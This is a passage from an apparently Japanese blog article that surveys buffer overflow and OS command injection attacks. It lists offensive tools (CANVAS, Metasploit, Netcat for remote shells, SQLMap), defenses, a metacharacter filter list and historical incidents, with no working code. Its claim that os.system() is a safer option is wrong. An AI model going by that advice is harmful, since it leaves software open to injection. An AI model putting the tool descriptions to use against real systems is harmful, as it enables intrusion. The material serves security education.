- BOFuzz は、バッファオーバーフロー攻撃のテストを自動化するためのツールであり、特定のソフトウェアやサービスに対して大量の入力データを送り、バッファオーバーフローを引き起こす。これにより、脆弱性を探し出すことが可能となる。
- ⚔️Immunity CANVAS
- Immunity CANVAS は、商用のペネトレーションテストツールであり、バッファオーバーフロー攻撃をはじめとするさまざまな攻撃を実行するためのエクスプロイトキットを提供する。攻撃者は、ターゲットシステムに対して既知の脆弱性を利用し、悪意のあるコードを実行することができる。
🛡 Buffer Overflow攻撃の対応策
- ✅スタックガード/スタックカナリア (Stack Canary)
- スタックガード や スタックカナリア は、バッファオーバーフロー攻撃に対する効果的な防御策であり、スタックの上に偽のデータを置いて、バッファがオーバーフローしてデータが上書きされる前に警告を発する。これにより、攻撃者が不正なコードを注入しても、実行されないように防止できる。
- ✅DEP (Data Execution Prevention)
- DEP は、メモリ上でデータの実行を防ぐセキュリティ機能である。これにより、バッファオーバーフロー攻撃が発生しても、悪意のあるコードが実行されることを防ぐ。特に、スタック領域にデータを埋め込むような攻撃を防ぐのに効果的である。
- ✅ASLR (Address Space Layout Randomization)
- ASLR は、システムのメモリ領域をランダム化する技術であり、バッファオーバーフロー攻撃を難しくする。これにより、攻撃者がコードを実行するためにメモリ位置を予測することができなくなり、攻撃を防ぐことができる。
- ✅入力検証の強化
- 入力データが適切かつ安全かどうかを検証することは、バッファオーバーフロー攻撃の予防に効果的である。プログラムが受け取る入力に対して長さや型を検証し、不正な入力がシステムに渡されないようにする。これにより、攻撃者がバッファオーバーフローを引き起こす可能性を減少させる。
- ✅コンパイラのセキュリティオプションの活用
- 最新のコンパイラには、バッファオーバーフロー攻撃を防ぐためのオプションが搭載されている。例えば、-fstack-protector や -D_FORTIFY_SOURCE=2 のようなオプションを使用することで、バッファオーバーフローのリスクを軽減することができる。
- ✅セキュアコーディングガイドラインの遵守
- バッファオーバーフロー攻撃を防ぐためには、セキュアコーディングのベストプラクティスを遵守することが重要である。特に、バッファのサイズを超えてデータを入力しないようにする、C言語での文字列処理には安全な関数(
strncpy
やsnprintf
など)を使用するなど、プログラムの設計段階から防止策を講じることが必要である。
- バッファオーバーフロー攻撃を防ぐためには、セキュアコーディングのベストプラクティスを遵守することが重要である。特に、バッファのサイズを超えてデータを入力しないようにする、C言語での文字列処理には安全な関数(
- ✅パッチの適用と定期的な更新
- バッファオーバーフロー攻撃は、特に既知の脆弱性を悪用するため、システムやアプリケーションに対して定期的にパッチを適用し、最新のセキュリティ更新を適用することが不可欠である。セキュリティホールが放置されると、攻撃者に対して脆弱な状態を長期間提供することになり、攻撃のリスクが高まる。
🔍Buffer Overflow (バッファオーバーフロー)攻撃の事例:
- 1988年 Morris Worm (1988, 米国): バッファオーバーフローを利用し、インターネット全体に拡散した初のワーム。
💥OS Command Injection (OSコマンドインジェクション)
概要: OS Command Injection (OSコマンドインジェクション) は、ウェブアプリケーションやシステムに対して悪意のあるコマンドを注入し、OSのコマンドとして実行させる攻撃手法である。この攻撃は、ユーザー入力を不適切に処理した場合に発生し、攻撃者がシステムの内部コマンドを制御することを可能にする。これにより、リモートコード実行やシステム情報の漏洩、システムの乗っ取りが可能となる。
🛠 OS Command Injection攻撃の具体的なツールや手法
- ⚔️Burp Suite
- Burp Suite は、ウェブアプリケーションのセキュリティテストツールであり、OSコマンドインジェクションの検出やエクスプロイトを支援する機能を提供する。特に、インジェクション可能なポイントを発見し、悪意のあるコマンドを送信してシステムの反応を確認するのに使用される。
- ⚔️Netcat (nc)
- Netcat は、ネットワーク通信を扱うツールであり、OSコマンドインジェクションを成功させた後に、リモートシェルを開くために使われることが多い。攻撃者は、インジェクションを通じてコマンドを実行し、Netcatを用いてシステムに対してリモートアクセスを得ることができる。
- ⚔️Metasploit Framework
- Metasploit Framework は、ペネトレーションテストや攻撃シミュレーションに広く使用されるツールで、OSコマンドインジェクション攻撃を支援するためのエクスプロイトやペイロードが含まれている。攻撃者は、ターゲットシステムにOSコマンドを注入し、Metasploitでシェルを取得することが可能となる。
- ⚔️SQLMap
- SQLMap は、SQLインジェクション攻撃に特化したツールだが、OSコマンドインジェクションを補助する機能も備えている。SQLMapを使って、ウェブアプリケーションがOSコマンドインジェクションに脆弱である場合、コマンド注入を自動で試み、攻撃を実行することができる。
- ⚔️Nmap (Network Mapper)
- Nmap は、ネットワーク調査ツールであり、OSコマンドインジェクションを利用してターゲットシステムにネットワーク情報を収集したり、コマンドをリモートで実行したりするために使用されることがある。攻撃者は、ターゲットのシステム上でNmapを実行してネットワークの詳細を取得することができる。
- ⚔️DirBuster
- DirBuster は、ディレクトリやファイルをスキャンするツールであり、OSコマンドインジェクションを通じて不正アクセスを得た後、システム上の隠れたディレクトリやファイルを発見するために利用されることがある。
🛡 OS Command Injection攻撃の対応策
- ✅ユーザー入力の適切な検証とサニタイズ
- OSコマンドインジェクションを防ぐためには、ユーザーからの入力を適切に検証し、不正なコマンドがシステムに渡されないようにサニタイズすることが最も重要である。特に、シェルメタキャラクター(例:
;
,&&
,|
)をフィルタリングすることが有効である。
- OSコマンドインジェクションを防ぐためには、ユーザーからの入力を適切に検証し、不正なコマンドがシステムに渡されないようにサニタイズすることが最も重要である。特に、シェルメタキャラクター(例:
- ✅パラメータ化されたコマンドの使用
- OSコマンドを実行する場合、シェルを直接利用せず、パラメータ化されたコマンドやAPIを使用することでインジェクションのリスクを減少させる。たとえば、
exec()
やsystem()
といった関数ではなく、subprocess
モジュールやos.system()
を適切に使うべきである。
- OSコマンドを実行する場合、シェルを直接利用せず、パラメータ化されたコマンドやAPIを使用することでインジェクションのリスクを減少させる。たとえば、
- ✅特権昇格の制限
- システム上で実行されるコマンドには、最小限の権限を付与するべきである。攻撃者がコマンドインジェクションを成功させても、システムに対する権限が制限されていれば、被害を最小限に抑えることができる。特に、rootやadministrator権限での実行は避けるべきである。
- ✅ホワイトリストによるコマンド制限
- OSコマンドを外部から受け取る際に、許可されたコマンドのみを実行するように制限することが推奨される。ホワイトリストを使用して、特定のコマンドセットにのみアクセスを許可し、それ以外は拒否する。
- ✅セキュリティパッチの適用
- OSコマンドインジェクションの脆弱性は、ソフトウェアやウェブアプリケーションの設計上の欠陥に起因する場合が多いため、定期的にセキュリティパッチを適用して最新の状態を維持することが重要である。これにより、既知の脆弱性を攻撃者に悪用されるリスクを減少させる。
- ✅最小権限の原則
- システムやウェブアプリケーションのコンポーネントがOSコマンドを実行する場合、そのコンポーネントが持つ権限を最小限に制限することが重要である。たとえば、バックエンドの処理がファイルシステムにアクセスする際に、不必要なファイルやディレクトリへのアクセスを防ぐ設定を行う。
- ✅WAF (Web Application Firewall) の導入
- WAF を導入することで、悪意のあるリクエストをフィルタリングし、OSコマンドインジェクションを含むさまざまな攻撃からウェブアプリケーションを守ることができる。WAFは、特にリクエストのパラメータや入力を検査し、危険な文字列やコマンドをブロックする。
- ✅ログ監視と異常検出
- システムのログを定期的に監視し、不審なコマンドやシェル実行を検出することは、攻撃を早期に発見するために有効である。また、攻撃の兆候があれば、即座に対応できるように異常検出システムを導入する。
🔍OS Command Injection (OSコマンドインジェクション)の攻撃事例:
- 2014年 Shellshock : Bashの脆弱性を突いた攻撃。特定の環境変数を利用することで、サーバー上で任意のコマンドが実行可能になり、多数のシステムが危険にさらされた。
- 2023年 Cisco ASA 脆弱性: ネットワーク機器に対するOSコマンドインジェクション攻撃が確認され、リモートコード実行の危険性が報告された。
あとがき
サイバー攻撃は日々進化し、新たな手法が次々と登場していて自分がエンジニアになりたての時には聞かない攻撃手法やマルウェアなんかも最近よく聞くようになりました。セキュリティについてあまり勉強していなかったときは脆弱性についての認識が自分でも弱いなと今となっては反省しました。以前は必要最低限なポートで絞ってIP制限すれば最低限問題ないだろと考えていたこともありますが、エクスプロイトやSQLiなど意図しないところから認証情報がすり抜けられて権限を奪われてしまうということがわかってきました。企業や個人がこのようなサイバー攻撃の被害を防ぐためには、脆弱性管理、最新のセキュリティパッチの適用、そして適切なリスク対策が不可欠ですね。
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